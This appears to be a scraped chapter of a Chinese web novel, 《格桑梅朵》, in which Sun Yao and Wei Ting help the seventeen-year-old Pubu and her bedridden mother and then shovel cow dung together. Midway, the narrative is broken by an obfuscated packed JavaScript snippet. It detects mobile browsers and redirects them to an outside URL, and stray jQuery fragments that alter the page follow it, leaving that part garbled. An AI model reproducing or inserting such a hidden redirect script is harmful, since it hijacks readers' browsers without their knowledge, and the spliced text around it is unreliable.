30. 困苦

作品:《格桑梅朵

    普布昨天才过完十七岁的生日,没有蛋糕,没有蜡烛,阿妈躺在床上,用干枯的手摸了摸她的头发,嘴里念叨着“我的普布又长大一岁”,就算是庆贺了。


    阿妈的风湿病在高原的寒气中愈发严重,如今连下地都困难,整日躺在床上,望着窗外那片阿爸再也回不来的草场。家里三十头牦牛和十几只羊,如今全压在她的肩上。


    孙瑶去年入户走访时到了普布家,从此每周都会过来一趟,给她送些米面,还有从城里带过来的旧衣服,说是旧衣服,其实都洗得干干净净,叠得整整齐齐,有的连吊牌都没拆。普布很喜欢这个笑起来像格桑花一样的姐姐。


    等她今年把家里和牛群安置妥当,她打算去合作市学个能讨生活的技术,总不能一辈子就这样吧。


    打完招呼,阿妈在屋内喊她,她掀起门帘进了屋内。


    “别看了,我俩开始干活吧。”孙瑶弯腰拎起院子里那个藤条编的背篓,手还没握稳,“你就扫个……”话没说完,屋内突然传来“咚”的一声闷响,像有什么重物从高处坠落。


    “普布?”


    “梅朵姐……嘶……我在这儿。”声音从楼梯口传来,带着疼痛过后的喑哑。孙瑶扔下背篓冲进屋,只见普布狼狈地倒在地上,脸色煞白。


    她的母亲压在她身上,身躯不住地颤抖,眼泪顺着皱纹纵横的脸颊往下淌,嘴里还在含混不清地说着什么。


    普布今天来了例假,本就虚弱得厉害,这一摔更是雪上加霜。她咬着嘴唇,试图撑起胳膊把阿妈扶起来,但刚刚手臂护着阿妈的脑袋被撞了一下,现在完全使不上劲儿。


    “我来。”魏亭的声音从身后响起,低沉而沉稳。


    孙瑶还没来得及反应,就看见他的身影已经越过她,动作利落地将普布的阿妈从地上轻轻扶起,一只手稳稳地托住老人的腰背,另一只手穿过她的膝弯,将老人妥帖地揽进怀里。


    “是要上楼梯吗?”平日里傲娇自恋,此刻却格外靠谱。孙瑶瞧见他托着老人的那只手臂,青筋微绷,力道却控制得恰好。


    普布母亲在陌生的怀抱里挣扎了一下,枯瘦的手指攥紧了魏亭的衣领,像溺水的人抓住了最后一根浮木。她的嘴唇翕动着,担忧的目光却落在了普布身上,她可怜的孩子。


    “嗯。上楼,她的房间在楼上。”孙瑶回过神来,赶紧上前搀扶起倒在地上的普布,将人刚扶起来,她便注意到了普布裤子后面洇出了一小片暗红。她赶紧脱下外套,系在普布腰间,遮住了那片痕迹。


    “梅朵姐,是不是漏了?”刚摔下去,她就觉得不对了。


    “没事,我在这儿呢。”孙瑶揽住普布的肩膀,给她一个安心的笑容,“我待会儿给你煮点红糖水,上次我给你带的暖宫贴还有吗?”


    普布点点头,眼眶里的泪没忍住,啪嗒啪嗒掉了下来。


    “哭什么,弄脏了咱们就换条干净的裤子,日子也会越过越好的,别怕。”


    魏亭调整了一下姿势,让老人靠得更舒服些,然后迈开步子,朝楼梯走去。


    咚——咚——咚。


    他的步伐不快不慢,每一步都踩得稳当。楼梯很窄,他佝偻着身子,还得护好老人,生怕她磕碰到。黑色皮鞋踩在看不出颜色的木板上,发出沉闷的声响。


    孙瑶扶着普布跟在后面,看着他的背影。


    普布的母亲于他而言并不重,他看上去瘦,但肩背的线条结实得像牛筋,托着一个人爬两层楼连气都不带喘的。但孙瑶知道,这份重量压在普布身上,实在是太沉了,她今年才十七岁。


    十七岁,在很多地方,女孩子还在为考试发愁,为脸上的痘痘烦恼。而普布已经学会了怎么在风雪中赶牛群,怎么在深夜给阿妈揉膝盖,怎么在每一个醒来的清晨,独自面对残酷的生活。


    楼上,魏亭已经将普布的母亲安顿在床上。他弯着腰,动作很轻地将老人的头枕在靠垫上,又拉过叠在床尾的毯子,严严实实地盖住她的身体。整个过程行云流水,像是做过千百遍一样自然。


    老人抓住了他的手,“突吉其——突吉其。”魏亭听不懂,但他没有抽回手,而是弯下腰,认真地看着老人的眼睛,点了点头。


    孙瑶站在门口,看着这一幕,胸口涌上一股说不清道不明的情绪。


    “阔日让囊亚格宝热。”普布之前见过扎西,扎西大哥人虽然憨厚,但是没有眼前这个男人这么妥帖,细节见人品,这人最起码人不坏。


    “好了。”


    魏亭一回头,就看见孙瑶靠在门框上,用一种他从未见过的表情看着自己。那眼神里有惊讶,有温柔,还有一些他读不懂的东西,“看什么呢?”


    “看……”孙瑶回过神来,把到嘴边的“看你好看”咽了回去,换成一句,“看过河拆桥的时机在哪里。”


    魏亭:“……”他还没反应过来,就被孙瑶拽着手腕,连推带搡地赶下了楼。


    木质楼梯在他脚下发出急促的抗议声,他一只手扶着栏杆,另一只手被她拽着,整个人踉踉跄跄的,哪还有半分刚才背人上楼时的沉稳气度。


    “卸磨杀驴!过河拆桥!”他站在院子里,仰头看着二楼窗户里探出半个身子的孙瑶,语气里带着十二分的委屈,“好歹请我喝口水啊!”这年头壮劳力这么不值钱的。


    孙瑶笑着冲他摆摆手,将窗户关上了。


    他站在原地,只能无奈地叹口。院子里很安静。普布家的大黄狗不知道从哪儿冒出来,蹲在他脚边,歪着脑袋看他,舌头伸得老长。


    “去哪儿玩了?热成这样。”魏亭摸了一把它的狗头,和大黄一起老实守在院子里。


    等的无聊,他环顾四周。石砌的矮墙边上堆着几捆干柴,孙瑶刚刚拿起来的藤条背篓歪歪倒倒地躺着,旁边是一把铁铲,上面还沾着干硬的残渣。


    “不会是牛屎吧?”他问了大黄一句,弯腰捡起那把铁铲,在手里掂了掂。铲柄被磨得光滑发亮,应该用了很久。


    他把外套脱下来,叠好放在晾衣绳上,又把衬衫袖子卷到手肘,露出一截线条分明的小臂。然后他拿起背篓,把背带挎在肩上,朝院外那片堆着干牛粪的空地走去。


    孙瑶在屋里忙活了将近半个小时。先给普布找了干净的衣服和卫生用品,又去厨房煮了一锅热腾腾的红糖姜茶,端上去看着普布喝下去大半碗,直到她的脸上重新浮起血色。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437924|197956||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然后又去看了普布的母亲,帮人翻了个身,按摩了一下僵硬的关节,把窗户留了条缝,让空气透进来。


    等一切安顿妥当,她掀起门帘走出屋外,视线瞬间被那道忙碌的身影牵引住。


    空地上,魏亭正背着竹篓,弓着腰,一手握着铁铲,一手扶着背篓边缘,正在跟地上的牛粪作殊死搏斗。衬衫后背已经被汗水洇湿了,贴着他精瘦的脊背,勾勒出一道流畅的线条。早上的大背头也塌下来了,几缕碎发落在额前,随着他手上的动作轻轻晃动。


    他先用脚尖踢松地上风干的牛粪,再用铁铲铲起来,小心翼翼地往背篓里倒,因为之前从来没干过这活,倒一半漏一半,完美诠释了什么叫事倍功半。


    “你的粉丝要是看到你这幅样子,不会集体脱粉吗?”


    魏亭猛地直起腰,转过头来,四目相对。


    “你走路没声的?”他将手头的工具卸下来,算是自嘲,“我现在网上名声臭得很,我才不怕呢。她们爱说什么说去吧,总归不会掉块肉。”


    “哎,你以前干过这活儿吗?”


    “没有。”


    “那你干嘛抢着干?我又没让你干这个。”


    魏亭沉默了两秒,满脸不解:“你不是说要帮普布干活吗?”


    长得像个蜂窝煤,没成想是个实在人。眼里有活儿,挺好。


    “你这样装不行。”她蹲下来,从他手里拿过铁铲,“牛粪要压紧实了再装,不然背篓看着满,其实没多少分量,一筐装不了多少又要倒掉再装,很麻烦。”


    “可以买个车啊?”


    “你出钱?”


    魏亭看了一眼这个家,也就比家徒四壁好点,家里还有生病的老人要照顾,的确拿不出多余的钱来,“我出钱。”


    孙瑶摇了摇头,没接这话。重新拿起铁铲,那铲子在她手里像长了眼睛,一把铲起牛粪,手腕一抖,不偏不倚地落进背篓,整个过程没有一丝多余的动作。


    “看懂了?”她抬头问他。


    魏亭的目光却不在铁铲上,而是落在她的手上。


    那双骨节分明的手,指腹上有薄薄的茧,指甲修剪得整整齐齐。就是这样一双手,却蕴藏着无穷的力量。


    “看懂了。”他说,声音有些哑,“你怎么会这个?”父亲开着药店,自己有工作,按理说她小时候的日子应该不会过的像普布这样。


    “我家以前也养牛,我还挺喜欢放牛的。”孙瑶把铁铲递还给他,自己站到一边,双手抱胸,“你再试试。”


    魏亭接过铲子,学着她的样子,铲起一块牛粪,手腕一抖,牛粪精准地越过背篓,砸到了他的脑袋。


    那一瞬间,孙瑶觉得他可能都想把自己的脑袋拧下来洗洗,眼瞅着他人直接僵住了,露出一副想死的表情,她立马收住笑,去帮他将那坨牛粪弄下来。


    “这已经是我第二次和牛粪亲密接触了。”这话说得咬牙切齿。


    “第二次?这么精彩的画面居然还有?”


    精心打理的造型彻底乱得不能看了,“第一次是在你家药店门口,我被牛粪强吻了!”


    “啊!哈哈哈哈哈——哈哈哈哈哈哈哈哈——”